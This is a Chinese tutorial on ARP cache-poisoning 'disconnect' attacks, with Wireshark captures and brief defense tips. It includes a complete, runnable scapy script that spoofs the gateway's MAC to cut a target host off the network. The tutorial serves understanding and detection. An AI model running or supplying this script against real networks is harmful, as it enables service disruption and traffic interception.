比蹭网更恶心的是 ARP 断网!1 篇搞懂原理,附 Wireshark 分析 + 防护工具和思路
当前位置:点晴教程→知识管理交流
→『 技术文档交流 』
介绍ARP 缓存投毒攻击 ARP 缓存投毒攻击是一种网络攻击方式,攻击者通过伪造 IP 地址和 MAC 地址对,使得网络中的其他设备将错误的 MAC 地址与目标设备的 IP 地址关联起来。这样,当数据包发送到目标 IP 地址时,就会发送到攻击者那里,从而实现窃听、中断通信等恶意行为。ARP 缓存投毒攻击是网络中常见的一种攻击方式,因此需要采取相应的防护措施。 Wireshark 协议分析 Wireshark 是一款网络协议分析工具,可以捕获网络中的数据包,并对其进行详细的分析。在 ARP 断网攻击中,使用 Wireshark 可以捕获到攻击者伪造的 ARP 数据包,从而识别出攻击行为。通过分析 ARP 数据包的源 IP 地址、目标 IP 地址、源 MAC 地址和目标 MAC 地址等信息,可以判断出攻击者的身份和攻击方式,为后续的防范和打击提供依据。 流程ARP断网攻击原理与实现与防护(含Wireshark分析)背景最近事情比较忙,读者反映的几篇教程都没有出,趁着这个周末把环境搭建了一下,今天出ARP断网攻击的实现与预防,剩下的ARP监控攻击。模拟游戏封闭辅助的。这些都只能放到后面了。 原理下面来说一下ARP断网攻击的原理: ① ARP是工作在局域网的,局域网中的通信主要是通过MAC地址,IP ② 操作系统中有个ARP表,通过这张表,来对应IP和MAC地址。 ③ 局域网中的电脑通过接收广播包,更新自身的ARP表。 ④ 如果有一个“攻击者”,不停的对“受害”主机发送ARP广播包,内容是将网关的MAC地址,替换成自己或者其他不存在的。 ⑤ “受害主机”需要上网时,通过ARP表查找网关的信息。拿到网关的MAC和IP地址。将上网的数据发送到“攻击者”或者不存在的主机上。 ⑥ 如果“攻击者”不回数据,也就是arp断网攻击了。 演示首先看下受害主机的ARP表: ![]() 攻击者攻击代码如下: from scapy.allimport ARP, Ether, sendpimport timedefarp_disconnect(target_ip, gateway_ip, interface): """ 发送伪造ARP应答包,使目标主机断网 :param target_ip: 目标主机IP :param gateway_ip: 网关IP :param interface: 攻击主机的网卡接口(如"以太网"、"WLAN",可通过ipconfig查看) """ try: # 构造ARP应答包:告诉目标主机"网关IP对应的MAC是攻击主机的MAC" # op=2表示ARP应答包,psrc是网关IP,pdst是目标IP,hwdst是目标主机的MAC(设为广播MAC ff:ff:ff:ff:ff:ff可简化) arp_packet = ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff") # 封装以太网帧(目标MAC设为广播,确保目标能收到) ether_frame = Ether(dst="ff:ff:ff:ff:ff:ff") / arp_packet print(f"开始向 {target_ip} 发送伪造ARP包,伪装成网关 {gateway_ip}...") print("按 Ctrl+C 停止攻击") # 循环发送数据包(每秒10次,持续欺骗目标) whileTrue: sendp(ether_frame, iface=interface, verbose=False) # sendp用于发送二层帧 time.sleep(0.1) except KeyboardInterrupt: print("\n攻击已停止")if __name__ == "__main__": TARGET_IP = "192.168.0.114"# 目标主机IP(例如手机、另一台电脑的IP) GATEWAY_IP = "192.168.0.1"# 网关IP(路由器IP,可通过ipconfig查看"默认网关") INTERFACE = "WLAN"# 攻击主机的网卡接口(Windows下可通过"网络连接"查看名称) arp_disconnect(TARGET_IP, GATEWAY_IP, INTERFACE)程序运行截图如下: ![]() 此时查看下ARP表: ![]() 可见,关于网关192.168.0.1相的MAC地址已更换。 看下Wireshark抓包情况。 攻击者关于arp的包: ![]() 可见不停的在发广播包,并且,内容为替换192.168.0.1的MAC地址。 查看下受害者的Wireshark抓包。 ![]() 如何防护可以使用现成的产品,如火绒。 ![]() 也可以自己写个程序,进行防护,原理很简单。 一般情况下ARP频率不会太高,但攻击者为了使受害者的ARP包替换。他的频率是很高的,差不多是10s,甚至更快。只需要监控这类包就可以了。 问题下面提出1个问题,知道的读者朋友,可以留言为不太清楚的朋友进行解答。 为什么ARP发送广播包时,需要指定受害主机的IP地址呢? ![]() 阅读原文:原文链接 该文章在 2026/1/4 18:08:28 编辑过 |
关键字查询
相关文章
正在查询... |